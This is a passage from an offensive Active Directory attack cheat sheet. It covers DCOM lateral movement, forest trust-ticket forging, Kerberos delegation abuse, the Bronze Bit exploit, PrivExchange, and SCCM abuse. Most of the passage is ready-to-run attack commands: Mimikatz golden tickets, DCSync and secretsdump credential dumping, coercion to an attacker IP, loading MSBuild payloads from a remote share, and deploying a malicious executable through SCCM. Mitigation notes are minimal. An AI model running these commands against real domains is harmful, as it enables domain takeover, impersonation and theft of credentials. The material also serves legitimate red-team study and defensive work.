Set-DomainUserPassword -Identity 'TargetUser' -AccountPassword $NewPassword
```

* On Linux:
```bash
# Using rpcclient from the  Samba software suite
rpcclient -U 'attacker_user%my_password' -W DOMAIN -c "setuserinfo2 target_user 23 target_newpwd" 

# Using bloodyAD with pass-the-hash
bloodyAD.py --host [DC IP] -d DOMAIN -u attacker_user -p :B4B9B02E6F09A9BD760F388B67351E2B changePassword target_user target_newpwd
```


## DCOM Exploitation

> DCOM is an extension of COM (Component Object Model), which allows applications to instantiate and access the properties and methods of COM objects on a remote computer.


* Impacket DCOMExec.py
  ```ps1
  dcomexec.py [-h] [-share SHARE] [-nooutput] [-ts] [-debug] [-codec CODEC] [-object [{ShellWindows,ShellBrowserWindow,MMC20}]] [-hashes LMHASH:NTHASH] [-no-pass] [-k] [-aesKey hex key] [-dc-ip ip address] [-A authfile] [-keytab KEYTAB] target [command ...]
  dcomexec.py -share C$ -object MMC20 '<DOMAIN>/<USERNAME>:<PASSWORD>@<MACHINE_CIBLE>'
  dcomexec.py -share C$ -object MMC20 '<DOMAIN>/<USERNAME>:<PASSWORD>@<MACHINE_CIBLE>' 'ipconfig'

  python3 dcomexec.py -object MMC20 -silentcommand -debug $DOMAIN/$USER:$PASSWORD\$@$HOST 'notepad.exe'
  # -object MMC20 specifies that we wish to instantiate the MMC20.Application object.
  # -silentcommand executes the command without attempting to retrieve the output.
  ```
* CheeseTools - https://github.com/klezVirus/CheeseTools
  ```powershell
  # https://klezvirus.github.io/RedTeaming/LateralMovement/LateralMovementDCOM/
  -t, --target=VALUE         Target Machine
  -b, --binary=VALUE         Binary: powershell.exe
  -a, --args=VALUE           Arguments: -enc <blah>
  -m, --method=VALUE         Methods: MMC20Application, ShellWindows,
                              ShellBrowserWindow, ExcelDDE, VisioAddonEx,
                              OutlookShellEx, ExcelXLL, VisioExecLine, 
                              OfficeMacro
  -r, --reg, --registry      Enable registry manipulation
  -h, -?, --help             Show Help

  Current Methods: MMC20.Application, ShellWindows, ShellBrowserWindow, ExcelDDE, VisioAddonEx, OutlookShellEx, ExcelXLL, VisioExecLine, OfficeMacro.
  ```
* Invoke-DCOM - https://raw.githubusercontent.com/rvrsh3ll/Misc-Powershell-Scripts/master/Invoke-DCOM.ps1
  ```powershell
  Import-Module .\Invoke-DCOM.ps1
  Invoke-DCOM -ComputerName '10.10.10.10' -Method MMC20.Application -Command "calc.exe"
  Invoke-DCOM -ComputerName '10.10.10.10' -Method ExcelDDE -Command "calc.exe"
  Invoke-DCOM -ComputerName '10.10.10.10' -Method ServiceStart "MyService"
  Invoke-DCOM -ComputerName '10.10.10.10' -Method ShellBrowserWindow -Command "calc.exe"
  Invoke-DCOM -ComputerName '10.10.10.10' -Method ShellWindows -Command "calc.exe"
  ```


### DCOM via MMC Application Class 

This COM object (MMC20.Application) allows you to script components of MMC snap-in operations. there is a method named **"ExecuteShellCommand"** under **Document.ActiveView**.

```ps1
PS C:\> $com = [activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application","10.10.10.1"))
PS C:\> $com.Document.ActiveView.ExecuteShellCommand("C:\Windows\System32\calc.exe",$null,$null,7)
PS C:\> $com.Document.ActiveView.ExecuteShellCommand("C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe",$null,"-enc DFDFSFSFSFSFSFSFSDFSFSF < Empire encoded string > ","7")

# Weaponized example with MSBuild
PS C:\> [System.Activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application","10.10.10.1")).Document.ActiveView.ExecuteShellCommand("c:\windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe",$null,"\\10.10.10.2\webdav\build.xml","7")
```

Invoke-MMC20RCE : https://raw.githubusercontent.com/n0tty/powershellery/master/Invoke-MMC20RCE.ps1

### DCOM via Office

* Excel.Application
  * DDEInitiate
  * RegisterXLL
* Outlook.Application
  * CreateObject->Shell.Application->ShellExecute
  * CreateObject->ScriptControl (office-32bit only)
* Visio.InvisibleApp (same as Visio.Application, but should not show the Visio window)
  * Addons
  * ExecuteLine
* Word.Application
  * RunAutoMacro


```ps1
# Powershell script that injects shellcode into excel.exe via ExecuteExcel4Macro through DCOM
Invoke-Excel4DCOM64.ps1 https://gist.github.com/Philts/85d0f2f0a1cc901d40bbb5b44eb3b4c9
Invoke-ExShellcode.ps1 https://gist.github.com/Philts/f7c85995c5198e845c70cc51cd4e7e2a

# Using Excel DDE
PS C:\> $excel = [activator]::CreateInstance([type]::GetTypeFromProgID("Excel.Application", "$ComputerName"))
PS C:\> $excel.DisplayAlerts = $false
PS C:\> $excel.DDEInitiate("cmd", "/c calc.exe")

# Using Excel RegisterXLL
# Can't be used reliably with a remote target
Require: reg add HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Excel\Security\Trusted Locations /v AllowsNetworkLocations /t REG_DWORD /d 1
PS> $excel = [activator]::CreateInstance([type]::GetTypeFromProgID("Excel.Application", "$ComputerName"))
PS> $excel.RegisterXLL("EvilXLL.dll")

# Using Visio
$visio = [activator]::CreateInstance([type]::GetTypeFromProgID("Visio.InvisibleApp", "$ComputerName"))
$visio.Addons.Add("C:\Windows\System32\cmd.exe").Run("/c calc")

```

### DCOM via ShellExecute

```ps1
$com = [Type]::GetTypeFromCLSID('9BA05972-F6A8-11CF-A442-00A0C90A8F39',"10.10.10.1")
$obj = [System.Activator]::CreateInstance($com)
$item = $obj.Item()
$item.Document.Application.ShellExecute("cmd.exe","/c calc.exe","C:\windows\system32",$null,0)
```

### DCOM via ShellBrowserWindow

:warning: Windows 10 only, the object doesn't exists in Windows 7

```ps1
$com = [Type]::GetTypeFromCLSID('C08AFD90-F2A1-11D1-8455-00A0C91F3880',"10.10.10.1")
$obj = [System.Activator]::CreateInstance($com)
$obj.Application.ShellExecute("cmd.exe","/c calc.exe","C:\windows\system32",$null,0)
```

## Trust relationship between domains

* One-way
  * Domain B trusts A
  * Users in Domain A can access resources in Domain B
  * Users in Domain B cannot access resources in Domain A
* Two-way
  * Domain A trusts Domain B
  * Domain B trusts Domain A
  * Authentication requests can be passed between the two domains in both directions

### Enumerate trusts between domains

* Native `nltest`
  ```powershell
  nltest /trusted_domains
  ```
* PowerShell `GetAllTrustRelationships`
  ```powershell
  ([System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()).GetAllTrustRelationships()

  SourceName          TargetName                    TrustType      TrustDirection
  ----------          ----------                    ---------      --------------
  domainA.local      domainB.local                  TreeRoot       Bidirectional
  ```
* Crackmapexec module `enum_trusts`
  ```powershell
  cme ldap <ip> -u <user> -p <pass> -M enum_trusts 
  ```

### Exploit trusts between domains

:warning: Require a Domain-Admin level access to the current domain.

| Source     | Target  | Technique to use  | Trust relationship  |
|---|---|---|---|
| Root      | Child  | Golden Ticket + Enterprise Admin group (Mimikatz /groups) | Inter Realm (2-way)  |
| Child     | Child  | SID History exploitation (Mimikatz /sids)                 | Inter Realm Parent-Child (2-way)  |
| Child     | Root   | SID History exploitation (Mimikatz /sids)                 | Inter Realm Tree-Root (2-way)  |
| Forest A  | Forest B  | PrinterBug + Unconstrained delegation ?  | Inter Realm Forest or External (2-way)  |



## Child Domain to Forest Compromise - SID Hijacking

Most trees are linked with dual sided trust relationships to allow for sharing of resources.
By default the first domain created if the Forest Root.

**Requirements**: 
- KRBTGT Hash
- Find the SID of the domain
    ```powershell
    $ Convert-NameToSid target.domain.com\krbtgt
    S-1-5-21-2941561648-383941485-1389968811-502

    # with Impacket
    lookupsid.py domain/user:password@10.10.10.10
    ```
- Replace 502 with 519 to represent Enterprise Admins
- Create golden ticket and attack parent domain. 
    ```powershell
    kerberos::golden /user:Administrator /krbtgt:HASH_KRBTGT /domain:domain.local /sid:S-1-5-21-2941561648-383941485-1389968811 /sids:S-1-5-SID-SECOND-DOMAIN-519 /ptt
    ```

## Forest to Forest Compromise - Trust Ticket

* Require: SID filtering disabled

From the DC, dump the hash of the `currentdomain\targetdomain$` trust account using Mimikatz (e.g. with LSADump or DCSync). Then, using this trust key and the domain SIDs, forge an inter-realm TGT using 
Mimikatz, adding the SID for the target domain's enterprise admins group to our **SID history**.

### Dumping trust passwords (trust keys)

> Look for the trust name with a dollar ($) sign at the end. Most of the accounts with a trailing **$** are computer accounts, but some are trust accounts.

```powershell
lsadump::trust /patch

or find the TRUST_NAME$ machine account hash
```

### Create a forged trust ticket (inter-realm TGT) using Mimikatz

```powershell
mimikatz(commandline) # kerberos::golden /domain:domain.local /sid:S-1-5-21... /rc4:HASH_TRUST$ /user:Administrator /service:krbtgt /target:external.com /ticket:c:\temp\trust.kirbi
mimikatz(commandline) # kerberos::golden /domain:dollarcorp.moneycorp.local /sid:S-1-5-21-1874506631-3219952063-538504511 /sids:S-1-5-21-280534878-1496970234-700767426-519 /rc4:e4e47c8fc433c9e0f3b17ea74856ca6b /user:Administrator /service:krbtgt /target:moneycorp.local /ticket:c:\ad\tools\mcorp-ticket.kirbi
```

### Use the Trust Ticket file to get a ST for the targeted service

```powershell
.\asktgs.exe c:\temp\trust.kirbi CIFS/machine.domain.local
.\Rubeus.exe asktgs /ticket:c:\ad\tools\mcorp-ticket.kirbi /service:LDAP/mcorp-dc.moneycorp.local /dc:mcorp-dc.moneycorp.local /ptt
```

Inject the ST file and access the targeted service with the spoofed rights.

```powershell
kirbikator lsa .\ticket.kirbi
ls \\machine.domain.local\c$
```

## Privileged Access Management (PAM) Trust

> PAM (Privileged access managment) introduces bastion forest for management, Shadow Security Principals (groups mapped to high priv groups of managed forests). These allow management of other forests without making changes to groups or ACLs and without interactive logon.

Requirements: 
* Windows Server 2016 or earlier   

If we compromise the bastion we get `Domain Admins` privileges on the other domain

* Default configuration for PAM Trust
    ```ps1
    # execute on our forest
    netdom trust lab.local /domain:bastion.local /ForestTransitive:Yes 
    netdom trust lab.local /domain:bastion.local /EnableSIDHistory:Yes 
    netdom trust lab.local /domain:bastion.local /EnablePIMTrust:Yes 
    netdom trust lab.local /domain:bastion.local /Quarantine:No
    # execute on our bastion
    netdom trust bastion.local /domain:lab.local /ForestTransitive:Yes
    ```
* Enumerate PAM trusts
    ```ps1
    # Detect if current forest is PAM trust
    Import ADModule
    Get-ADTrust -Filter {(ForestTransitive -eq $True) -and (SIDFilteringQuarantined -eq $False)}

    # Enumerate shadow security principals 
    Get-ADObject -SearchBase ("CN=Shadow Principal Configuration,CN=Services," + (Get-ADRootDSE).configurationNamingContext) -Filter * -Properties * | select Name,member,msDS-ShadowPrincipalSid | fl

    # Enumerate if current forest is managed by a bastion forest
    # Trust_Attribute_PIM_Trust + Trust_Attribute_Treat_As_External
    Get-ADTrust -Filter {(ForestTransitive -eq $True)} 
    ```
* Compromise
    * Using the previously found Shadow Security Principal (WinRM account, RDP access, SQL, ...)
    * Using SID History
* Persistence
  ```ps1
  # Add a compromised user to the group 
  Set-ADObject -Identity "CN=forest-ShadowEnterpriseAdmin,CN=Shadow Principal Configuration,CN=Services,CN=Configuration,DC=domain,DC=local" -Add @{'member'="CN=Administrator,CN=Users,DC=domain,DC=local"}
  ```


## Kerberos Unconstrained Delegation

> The user sends a ST to access the service, along with their TGT, and then the service can use the user's TGT to request a ST for the user to any other service and impersonate the user. - https://shenaniganslabs.io/2019/01/28/Wagging-the-Dog.html 

> When a user authenticates to a computer that has unrestricted kerberos delegation privilege turned on, authenticated user's TGT ticket gets saved to that computer's memory. 

:warning: Unconstrained delegation used to be the only option available in Windows 2000

> **Warning**
> Remember to coerce to a HOSTNAME if you want a Kerberos Ticket

### SpoolService Abuse with Unconstrained Delegation

The goal is to gain DC Sync privileges using a computer account and the SpoolService bug.

**Requirements**:
- Object with Property **Trust this computer for delegation to any service (Kerberos only)**
- Must have **ADS_UF_TRUSTED_FOR_DELEGATION** 
- Must not have **ADS_UF_NOT_DELEGATED** flag
- User must not be in the **Protected Users** group 
- User must not have the flag **Account is sensitive and cannot be delegated**

#### Find delegation

:warning: : Domain controllers usually have unconstrained delegation enabled.    
Check the `TRUSTED_FOR_DELEGATION` property.

* [ADModule](https://github.com/samratashok/ADModule)
  ```powershell
  # From https://github.com/samratashok/ADModule
  PS> Get-ADComputer -Filter {TrustedForDelegation -eq $True}
  ```

* [ldapdomaindump](https://github.com/dirkjanm/ldapdomaindump)
  ```powershell
  $> ldapdomaindump -u "DOMAIN\\Account" -p "Password123*" 10.10.10.10   
  grep TRUSTED_FOR_DELEGATION domain_computers.grep
  ```

* [CrackMapExec module](https://github.com/mpgn/CrackMapExec/wiki) 
  ```powershell
  cme ldap 10.10.10.10 -u username -p password --trusted-for-delegation
  ```

* BloodHound: `MATCH (c:Computer {unconstraineddelegation:true}) RETURN c`
* Powershell Active Directory module: `Get-ADComputer -LDAPFilter "(&(objectCategory=Computer)(userAccountControl:1.2.840.113556.1.4.803:=524288))" -Properties DNSHostName,userAccountControl`

#### SpoolService status

Check if the spool service is running on the remote host

```powershell
ls \\dc01\pipe\spoolss
python rpcdump.py DOMAIN/user:password@10.10.10.10
```

#### Monitor with Rubeus

Monitor incoming connections from Rubeus.

```powershell
Rubeus.exe monitor /interval:1 
```

#### Force a connect back from the DC

Due to the unconstrained delegation, the TGT of the computer account (DC$) will be saved in the memory of the computer with unconstrained delegation. By default the domain controller computer account has DCSync rights over the domain object.

>  SpoolSample is a PoC to coerce a Windows host to authenticate to an arbitrary server using a "feature" in the MS-RPRN RPC interface.

```powershell
# From https://github.com/leechristensen/SpoolSample
.\SpoolSample.exe VICTIM-DC-NAME UNCONSTRAINED-SERVER-DC-NAME
.\SpoolSample.exe DC01.HACKER.LAB HELPDESK.HACKER.LAB
# DC01.HACKER.LAB is the domain controller we want to compromise
# HELPDESK.HACKER.LAB is the machine with delegation enabled that we control.

# From https://github.com/dirkjanm/krbrelayx
printerbug.py 'domain/username:password'@<VICTIM-DC-NAME> <UNCONSTRAINED-SERVER-DC-NAME>

# From https://gist.github.com/3xocyte/cfaf8a34f76569a8251bde65fe69dccc#gistcomment-2773689
python dementor.py -d domain -u username -p password <UNCONSTRAINED-SERVER-DC-NAME> <VICTIM-DC-NAME>
```

If the attack worked you should get a TGT of the domain controller.

#### Load the ticket

Extract the base64 TGT from Rubeus output and load it to our current session.

```powershell
.\Rubeus.exe asktgs /ticket:<ticket base64> /service:LDAP/dc.lab.local,cifs/dc.lab.local /ptt
```

Alternatively you could also grab the ticket using Mimikatz :  `mimikatz # sekurlsa::tickets`

Then you can use DCsync or another attack : `mimikatz # lsadump::dcsync /user:HACKER\krbtgt`


#### Mitigation

* Ensure sensitive accounts cannot be delegated
* Disable the Print Spooler Service


### MS-EFSRPC Abuse with Unconstrained Delegation

Using `PetitPotam`, another tool to coerce a callback from the targeted machine, instead of `SpoolSample`.

```bash
# Coerce the callback
git clone https://github.com/topotam/PetitPotam
python3 petitpotam.py -d $DOMAIN -u $USER -p $PASSWORD $ATTACKER_IP $TARGET_IP
python3 petitpotam.py -d '' -u '' -p '' $ATTACKER_IP $TARGET_IP

# Extract the ticket
.\Rubeus.exe asktgs /ticket:<ticket base64> /ptt
```


## Kerberos Constrained Delegation

> Kerberos Constrained Delegation (KCD) is a security feature in Microsoft's Active Directory (AD) that allows a service to impersonate a user or another service in order to access resources on behalf of that user or service.


### Identify a Constrained Delegation

* BloodHound: `MATCH p = (a)-[:AllowedToDelegate]->(c:Computer) RETURN p`
* PowerView: `Get-NetComputer -TrustedToAuth | select samaccountname,msds-allowedtodelegateto | ft`
* Native
  ```powershell
  Get-DomainComputer -TrustedToAuth | select -exp dnshostname
  Get-DomainComputer previous_result | select -exp msds-AllowedToDelegateTo
  ```

### Exploit the Constrained Delegation

* Impacket
  ```ps1
  getST.py -spn HOST/SQL01.DOMAIN 'DOMAIN/user:password' -impersonate Administrator -dc-ip 10.10.10.10
  ```

* Rubeus: S4U2 attack (S4U2self + S4U2proxy)
  ```ps1
  # with a password
  Rubeus.exe s4u /nowrap /msdsspn:"time/target.local" /altservice:cifs /impersonateuser:"administrator" /domain:"domain" /user:"user" /password:"password"

  # with a NT hash
  Rubeus.exe s4u /user:user_for_delegation /rc4:user_pwd_hash /impersonateuser:user_to_impersonate /domain:domain.com /dc:dc01.domain.com /msdsspn:time/srv01.domain.com /altservice:cifs /ptt
  Rubeus.exe s4u /user:MACHINE$ /rc4:MACHINE_PWD_HASH /impersonateuser:Administrator /msdsspn:"cifs/dc.domain.com" /altservice:cifs,http,host,rpcss,wsman,ldap /ptt
  dir \\dc.domain.com\c$
  ```

* Rubeus: use an existing ticket to perform a S4U2 attack to impersonate the "Administrator"
  ```ps1
  # Dump ticket
  Rubeus.exe tgtdeleg /nowrap
  Rubeus.exe triage
  Rubeus.exe dump /luid:0x12d1f7

  # Create a ticket
  Rubeus.exe s4u /impersonateuser:Administrator /msdsspn:cifs/srv.domain.local /ticket:doIFRjCCBUKgAwIBB...BTA== /ptt
  ```

* Rubeus : using aes256 keys
  ```ps1
  # Get aes256 keys of the machine account
  privilege::debug
  token::elevate
  sekurlsa::ekeys

  # Create a ticket
  Rubeus.exe s4u /impersonateuser:Administrator /msdsspn:cifs/srv.domain.local /user:win10x64$ /aes256:4b55f...fd82 /ptt
  ```


### Impersonate a domain user on a resource

Require:
* SYSTEM level privileges on a machine configured with constrained delegation

```ps1
PS> [Reflection.Assembly]::LoadWithPartialName('System.IdentityModel') | out-null
PS> $idToImpersonate = New-Object System.Security.Principal.WindowsIdentity @('administrator')
PS> $idToImpersonate.Impersonate()
PS> [System.Security.Principal.WindowsIdentity]::GetCurrent() | select name
PS> ls \\dc01.offense.local\c$
```


## Kerberos Resource Based Constrained Delegation

Resource-based Constrained Delegation was introduced in Windows Server 2012. 

> The user sends a Service Ticket (ST) to access the service ("Service A"), and if the service is allowed to delegate to another pre-defined service ("Service B"), then Service A can present to the authentication service the TGS that the user provided and obtain a ST for the user to Service B.  https://shenaniganslabs.io/2019/01/28/Wagging-the-Dog.html

1. Import **Powermad** and **Powerview**

    ```powershell
    PowerShell.exe -ExecutionPolicy Bypass
    Import-Module .\powermad.ps1
    Import-Module .\powerview.ps1
    ```

2. Get user SID

    ```powershell
    $AttackerSID = Get-DomainUser SvcJoinComputerToDom -Properties objectsid | Select -Expand objectsid
    $ACE = Get-DomainObjectACL dc01-ww2.factory.lan | ?{$_.SecurityIdentifier -match $AttackerSID}
    $ACE
    ConvertFrom-SID $ACE.SecurityIdentifier
    ```

3. Abuse **MachineAccountQuota** to create a computer account and set an SPN for it

    ```powershell
    New-MachineAccount -MachineAccount swktest -Password $(ConvertTo-SecureString 'Weakest123*' -AsPlainText -Force)
    ```

4. Rewrite DC's **AllowedToActOnBehalfOfOtherIdentity** properties

    ```powershell
    $ComputerSid = Get-DomainComputer swktest -Properties objectsid | Select -Expand objectsid
    $SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$($ComputerSid))"
    $SDBytes = New-Object byte[] ($SD.BinaryLength)
    $SD.GetBinaryForm($SDBytes, 0)
    Get-DomainComputer dc01-ww2.factory.lan | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes}
    $RawBytes = Get-DomainComputer dc01-ww2.factory.lan -Properties 'msds-allowedtoactonbehalfofotheridentity' | select -expand msds-allowedtoactonbehalfofotheridentity
    $Descriptor = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList $RawBytes, 0
    $Descriptor.DiscretionaryAcl
    ```

    ```ps1
    # alternative
    $SID_FROM_PREVIOUS_COMMAND = Get-DomainComputer MACHINE_ACCOUNT_NAME -Properties objectsid | Select -Expand objectsid
    $SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$SID_FROM_PREVIOUS_COMMAND)"; $SDBytes = New-Object byte[] ($SD.BinaryLength); $SD.GetBinaryForm($SDBytes, 0); Get-DomainComputer DC01 | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes}

    # alternative
    StandIn_Net35.exe --computer dc01 --sid SID_FROM_PREVIOUS_COMMAND
    ```

5. Use Rubeus to get hash from password

    ```powershell
    Rubeus.exe hash /password:'Weakest123*' /user:swktest$  /domain:factory.lan
    [*] Input password             : Weakest123*
    [*] Input username             : swktest$
    [*] Input domain               : factory.lan
    [*] Salt                       : FACTORY.LANswktest
    [*]       rc4_hmac             : F8E064CA98539B735600714A1F1907DD
    [*]       aes128_cts_hmac_sha1 : D45DEADECB703CFE3774F2AA20DB9498
    [*]       aes256_cts_hmac_sha1 : 0129D24B2793DD66BAF3E979500D8B313444B4D3004DE676FA6AFEAC1AC5C347
    [*]       des_cbc_md5          : BA297CFD07E62A5E
    ```

6. Impersonate domain admin using our newly created machine account

    ```powershell
    .\Rubeus.exe s4u /user:swktest$ /rc4:F8E064CA98539B735600714A1F1907DD /impersonateuser:Administrator /msdsspn:cifs/dc01-ww2.factory.lan /ptt /altservice:cifs,http,host,rpcss,wsman,ldap
    .\Rubeus.exe s4u /user:swktest$ /aes256:0129D24B2793DD66BAF3E979500D8B313444B4D3004DE676FA6AFEAC1AC5C347 /impersonateuser:Administrator /msdsspn:cifs/dc01-ww2.factory.lan /ptt /altservice:cifs,http,host,rpcss,wsman,ldap

    [*] Impersonating user 'Administrator' to target SPN 'cifs/dc01-ww2.factory.lan'
    [*] Using domain controller: DC01-WW2.factory.lan (172.16.42.5)
    [*] Building S4U2proxy request for service: 'cifs/dc01-ww2.factory.lan'
    [*] Sending S4U2proxy request
    [+] S4U2proxy success!
    [*] base64(ticket.kirbi) for SPN 'cifs/dc01-ww2.factory.lan':

        doIGXDCCBligAwIBBaEDAgEWooIFXDCCBVhhggVUMIIFUKADAgEFoQ0bC0ZBQ1RPUlkuTEFOoicwJaAD
        AgECoR4wHBsEY2lmcxsUZGMwMS[...]PMIIFC6ADAgESoQMCAQOiggT9BIIE
        LmZhY3RvcnkubGFu

    [*] Action: Import Ticket
    [+] Ticket successfully imported!
    ```

## Kerberos Service for User Extension

* Service For User To Self which allows a service to obtain a TGS on behalf of another user
* Service For User To Proxy which allows a service to obtain a TGS on behalf of another user on another service

### S4U2self - Privilege Escalation

1. Get a TGT 
    * Using Unconstrained Delegation
    * Using the current machine account: `Rubeus.exe tgtdeleg /nowrap`
2. Use that TGT to make a S4U2self request in order to obtain a Service Ticket as domain admin for the machine.
    ```ps1
    Rubeus.exe s4u /self /nowrap /impersonateuser:"Administrator" /altservice:"cifs/srv001.domain.local" /ticket:"base64ticket"
    Rubeus.exe ptt /ticket:"base64ticket"

    Rubeus.exe s4u /self /nowrap /impersonateuser:"Administrator" /altservice:"cifs/srv001" /ticket:"base64ticket" /ptt
    ```

The "Network Service" account and the AppPool identities can act as the computer account in terms of Active Directory, they are only restrained locally. Therefore it is possible to invoke S4U2self if you run as one of these and request a service ticket for any user (e.g. someone with local admin rights, like DA) to yourself.

```ps1
# The Rubeus execution will fail when trying the S4UProxy step, but the ticket generated by S4USelf will be printed.
Rubeus.exe s4u /user:${computerAccount} /msdsspn:cifs/${computerDNS} /impersonateuser:${localAdmin} /ticket:${TGT} /nowrap
# The service name is not included in the TGS ciphered data and can be modified at will.
Rubeus.exe tgssub /ticket:${ticket} /altservice:cifs/${ServerDNSName} /ptt
```


## Kerberos Bronze Bit Attack - CVE-2020-17049

> An attacker can impersonate users which are not allowed to be delegated. This includes members of the **Protected Users** group and any other users explicitly configured as **sensitive and cannot be delegated**.

> Patch is out on November 10, 2020, DC are most likely vulnerable until [February 2021](https://support.microsoft.com/en-us/help/4598347/managing-deployment-of-kerberos-s4u-changes-for-cve-2020-17049).

:warning: Patched Error Message : `[-] Kerberos SessionError: KRB_AP_ERR_MODIFIED(Message stream modified)`

Requirements:
* Service account's password hash 
* Service account's with `Constrained Delegation` or `Resource Based Constrained Delegation`
* [Impacket PR #1013](https://github.com/SecureAuthCorp/impacket/pull/1013) 

**Attack #1** - Bypass the `Trust this user for delegation to specified services only – Use Kerberos only` protection and impersonate a user who is protected from delegation.

```powershell
# forwardable flag is only protected by the ticket encryption which uses the service account's password 
$ getST.py -spn cifs/Service2.test.local -impersonate Administrator -hashes <LM:NTLM hash> -aesKey <AES hash> test.local/Service1 -force-forwardable -dc-ip <Domain controller> # -> Forwardable

$ getST.py -spn cifs/Service2.test.local -impersonate User2 -hashes aad3b435b51404eeaad3b435b51404ee:7c1673f58e7794c77dead3174b58b68f -aesKey 4ffe0c458ef7196e4991229b0e1c4a11129282afb117b02dc2f38f0312fc84b4 test.local/Service1 -force-forwardable

# Load the ticket
.\mimikatz\mimikatz.exe "kerberos::ptc User2.ccache" exit

# Access "c$"
ls \\service2.test.local\c$
```

**Attack #2** - Write Permissions to one or more objects in the AD

```powershell
# Create a new machine account
Import-Module .\Powermad\powermad.ps1
New-MachineAccount -MachineAccount AttackerService -Password $(ConvertTo-SecureString 'AttackerServicePassword' -AsPlainText -Force)
.\mimikatz\mimikatz.exe "kerberos::hash /password:AttackerServicePassword /user:AttackerService /domain:test.local" exit

# Set PrincipalsAllowedToDelegateToAccount
Install-WindowsFeature RSAT-AD-PowerShell
Import-Module ActiveDirectory
Get-ADComputer AttackerService
Set-ADComputer Service2 -PrincipalsAllowedToDelegateToAccount AttackerService$
Get-ADComputer Service2 -Properties PrincipalsAllowedToDelegateToAccount

# Execute the attack
python .\impacket\examples\getST.py -spn cifs/Service2.test.local -impersonate User2 -hashes 830f8df592f48bc036ac79a2bb8036c5:830f8df592f48bc036ac79a2bb8036c5 -aesKey 2a62271bdc6226c1106c1ed8dcb554cbf46fb99dda304c472569218c125d9ffc test.local/AttackerService -force-forwardableet-ADComputer Service2 -PrincipalsAllowedToDelegateToAccount AttackerService$

# Load the ticket
.\mimikatz\mimikatz.exe "kerberos::ptc User2.ccache" exit | Out-Null
```

## PrivExchange attack

Exchange your privileges for Domain Admin privs by abusing Exchange.    
:warning: You need a shell on a user account with a mailbox.


1. Exchange server hostname or IP address

    ```bash 
    pth-net rpc group members "Exchange Servers" -I dc01.domain.local -U domain/username
    ```


2. Relay of the Exchange server authentication and privilege escalation (using ntlmrelayx from Impacket).

    ```powershell
    ntlmrelayx.py -t ldap://dc01.domain.local --escalate-user username
    ```


3. Subscription to the push notification feature (using privexchange.py or powerPriv), uses the credentials of the current user to authenticate to the Exchange server. Forcing the Exchange server's to send back its NTLMv2 hash to a controlled machine.

    ```bash
    # https://github.com/dirkjanm/PrivExchange/blob/master/privexchange.py
    python privexchange.py -ah xxxxxxx -u xxxx -d xxxxx
    python privexchange.py -ah 10.0.0.2 mail01.domain.local -d domain.local -u user_exchange -p pass_exchange
    
    # https://github.com/G0ldenGunSec/PowerPriv 
    powerPriv -targetHost corpExch01 -attackerHost 192.168.1.17 -Version 2016
    ```

4. Profit using secretdumps from Impacket, the user can now perform a dcsync and get another user's NTLM hash

    ```bash
    python secretsdump.py xxxxxxxxxx -just-dc
    python secretsdump.py lab/buff@192.168.0.2 -ntds ntds -history -just-dc-ntlm
    ```

5. Clean your mess and restore a previous state of the user's ACL

    ```powershell
    python aclpwn.py --restore ../aclpwn-20190319-125741.restore
    ```

Alternatively you can use the Metasploit module 

[`use auxiliary/scanner/http/exchange_web_server_pushsubscription`](https://github.com/rapid7/metasploit-framework/pull/11420)

Alternatively you can use an all-in-one tool : Exchange2domain.

```powershell
git clone github.com/Ridter/Exchange2domain 
python Exchange2domain.py -ah attackterip -ap listenport -u user -p password -d domain.com -th DCip MailServerip
python Exchange2domain.py -ah attackterip -u user -p password -d domain.com -th DCip --just-dc-user krbtgt MailServerip
```

## SCCM Deployment

> SCCM is a solution from Microsoft to enhance administration in a scalable way across an organisation.

* [PowerSCCM - PowerShell module to interact with SCCM deployments](https://github.com/PowerShellMafia/PowerSCCM)
* [MalSCCM - Abuse local or remote SCCM servers to deploy malicious applications to hosts they manage](https://github.com/nettitude/MalSCCM)


* Using **SharpSCCM**
  ```ps1
  .\SharpSCCM.exe get device --server <SERVER8NAME> --site-code <SITE_CODE>
  .\SharpSCCM.exe <server> <sitecode> exec -d <device_name> -r <relay_server_ip>
  .\SharpSCCM.exe exec -d WS01 -p "C:\Windows\System32\ping 10.10.10.10" -s --debug
  ``` 
* Compromise client, use locate to find management server 
    ```ps1
    MalSCCM.exe locate
    ```
* Enumerate over WMI as an administrator of the Distribution Point
    ```ps1
    MalSCCM.exe inspect /server:<DistributionPoint Server FQDN> /groups
    ```
* Compromise management server, use locate to find primary server
* Use `inspect` on primary server to view who you can target
    ```ps1
    MalSCCM.exe inspect /all
    MalSCCM.exe inspect /computers
    MalSCCM.exe inspect /primaryusers
    MalSCCM.exe inspect /groups
    ```
* Create a new device group for the machines you want to laterally move too
    ```ps1
    MalSCCM.exe group /create /groupname:TargetGroup /grouptype:device
    MalSCCM.exe inspect /groups
    ```

* Add your targets into the new group 
    ```ps1
    MalSCCM.exe group /addhost /groupname:TargetGroup /host:WIN2016-SQL
    ```
* Create an application pointing to a malicious EXE on a world readable share : `SCCMContentLib$`
    ```ps1
    MalSCCM.exe app /create /name:demoapp /uncpath:"\\BLORE-SCCM\SCCMContentLib$\localthread.exe"
    MalSCCM.exe inspect /applications
    ```

* Deploy the application to the target group 
    ```ps1
    MalSCCM.exe app /deploy /name:demoapp /groupname:TargetGroup /assignmentname:demodeployment
    MalSCCM.exe inspect /deployments
    ```
* Force the target group to checkin for updates 
    ```ps1
    MalSCCM.exe checkin /groupname:TargetGroup
    ```

* Cleanup the application, deployment and group
    ```ps1
    MalSCCM.exe app /cleanup /name:demoapp
    MalSCCM.exe group /delete /groupname:TargetGroup
    ```


## SCCM Network Access Accounts

> If you can escalate on a host that is an SCCM client, you can retrieve plaintext domain credentials.

On the machine.
* Find SCCM blob
    ```ps1
